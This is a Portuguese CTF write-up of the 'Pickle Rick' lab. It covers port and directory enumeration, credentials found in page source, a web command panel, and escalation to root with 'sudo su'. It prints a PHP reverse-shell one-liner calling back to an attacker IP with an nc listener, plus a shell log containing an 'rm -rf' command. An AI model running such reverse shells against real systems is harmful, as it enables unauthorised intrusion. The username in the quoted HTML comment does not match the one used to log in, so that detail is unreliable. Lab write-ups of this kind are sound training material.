



Pickle Rick

Offensive Security Write-up Autor: Natalia Farias **Data:** 03 de Abril de 2026

Sinopse

O **Pickle Rick** é um desafio de CTF que explora falhas comuns em serviços como HTTP.

1. Enumeração

A fase inicial consistiu na varredura de portas com o **nmap** para mapear a superfície de ataque.

Bloco de Comando:

```
$ nmap -sV -sC -v <IP_DA_MAQUINA>
```

```
# -sV : obter versão | -sC : scripts padrões | -v :  
detalhamento
```



```
(kali@kali)-[~/Downloads]
$ nmap -sV -sC -v 10.67.188.52
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-27 08:46 EDT
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 08:46
Completed NSE at 08:46, 0.00s elapsed
Initiating NSE at 08:46
Completed NSE at 08:46, 0.00s elapsed
Initiating NSE at 08:46
Completed NSE at 08:46, 0.00s elapsed
Initiating Ping Scan at 08:46
Scanning 10.67.188.52 [4 ports]
Completed Ping Scan at 08:46, 0.17s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 08:46
Completed Parallel DNS resolution of 1 host. at 08:46, 5.51s elapsed
Initiating SYN Stealth Scan at 08:46
Scanning 10.67.188.52 [1000 ports]
Discovered open port 80/tcp on 10.67.188.52
Discovered open port 22/tcp on 10.67.188.52
Completed SYN Stealth Scan at 08:47, 3.79s elapsed (1000 total ports)
Initiating Service scan at 08:47
```

Figura 1: output nmap

A análise revelou serviços nas portas 80 e 22. Ao acessar o serviço da porta 80 foi revelada uma página Web que continha vulnerabilidades.

2. Vulnerabilidade e Exploração

Acessando o ip do servidor em um navegador é possível visualizar a interface do site hospedado. Visualizando o Código fonte da página é encontrada a primeira pista, um nome de usuário nos comentários do HTML.

```
21 <!--Morty: 742-5212-->
22
23 <p>Listen Morty... I need your help, I've turned myself into a pickle again and this time I can't change back!</p><br>
24 <p>I need you to <b>BURRRRP</b>...Morty, logon to my computer and find the last three secret ingredients to finish my pickle-reverse potion. The only problem is,
25 I have no idea what the <b>BURRRRRRRRP</b>, password was! Help Morty, Help!</p><br>
26 </div>
27
28 <!--
29
30 Note to self, remember username!
31
32 Username: Rick O'Ryan
33
34 -->
35
36 </body>
37 </html>
38
```

Figura 2: código fonte da página

Para continuar explorando a aplicação web foram utilizadas duas listas de palavras com o gobuster com o objetivo de encontrar outras páginas além da principal.



Bloco de Comando:

```
$ gobuster dir -u <ip> -w  
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 12  
-x .php,.html,.txt  
  
$ gobuster dir -u <ip> -w /usr/share/wordlists/dirb/common.txt
```

Com a lista de palavras “common.txt” é encontrado as páginas /robots.txt e /assets. O diretório /assets contém os arquivos estáticos do site e não contém possíveis vulnerabilidades.

Já o arquivo /robots.txt contém o seguinte texto: Wubbalubbadubdub.

A lista de palavras “directory-list-2.3-medium.txt” revela a página /login.php. Acessando /login.php pode-se ver uma página de login com inputs de usuário e senha, utilizando informações encontradas nos passos anteriores, nome de usuário: **R1ckRul3s** e senha: **Wubbalubbadubdub**, o site redireciona o usuário a uma nova tela. A nova tela permite o input de comandos no servidor.

Uma maneira de encontrar o primeiro ingrediente, **mr. meeseek hair**, era listar todos os arquivos e ler o arquivo que continha o ingrediente, diretamente na página web.

Bloco de Comando:

```
ls  
  
less Sup3rS3cretPickl3Ingred.txt
```

A maioria dos outros comandos do linux eram bloqueados pela página.

3. Acesso Inicial



Para acessar o restante dos arquivos do servidor foi utilizado reverse shell. Foi utilizado <https://www.revshells.com/> para gerar o comando.

Um listener foi utilizado na máquina local e um comando de reverse shell foi inserido no servidor através do input de comando contido no site.

Comando inserido na máquina local:

```
nc -lvnp 4444
```

Command Panel

```
php -r '$sock=fsockopen("192.168.223.95",4444);exec("sh <&3 >&3 2>&3");'
```

Execute

Figura 3: comando de reverse shell no input da página do servidor

Após inserir o comando no site, foi obtido acesso aos arquivos do servidor na máquina local. Também era possível encontrar o primeiro ingrediente depois de ter acesso aos arquivos do servidor na máquina local.

```
Desktop Documents Downloads Music Pictures Templates Videos
(kali㉿kali)-[~]
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.223.95] from (UNKNOWN) [10.67.163.162] 51716
ls
Sup3rS3cretPickl3Ingred.txt
assets
clue.txt
denied.php
index.html
login.php
portal.php
robots.txt
cat Sup3rS3cretPickl3Ingred.txt
rm -rf /tmp/.X0-unix
```

Figura 4: arquivos do servidor mostrando o primeiro ingrediente

Ao explorar as pastas no servidor, é achado o segundo ingrediente, **1 jerry tear**, em: `home/rick/second ingredients`.



```
ubuntu
cd rick
ls
second ingredients
cat "second ingredients"
1 jerry tear
```

Procurando nas pastas no computador
1 jerry tear

Figura 5: arquivos do servidor mostrando o segundo ingrediente

4. Escalação de Privilégios

Para o último ingrediente, **fleeb juice**, foi necessário escalar privilégio para acessar a pasta /root onde a última flag estava alocada.

Bloco de Comando utilizado para escalação de privilégio:

```
sudo su
```

```
vmlinux
vmlinuz.old
cd root
ls
3rd.txt
snap
cd 3rd.txt
bash: line 4: cd: 3rd.txt: Not a directory
ls -F
3rd.txt
snap/
cat 3rd.txt
3rd ingredients: fleeb juice
^C

(kali⊗kali)-[~]
$
```

sudo su para ter acesso a root.
terceiro ingrediente: fleeb juice

Figura 6: arquivos do servidor mostrando o terceiro ingrediente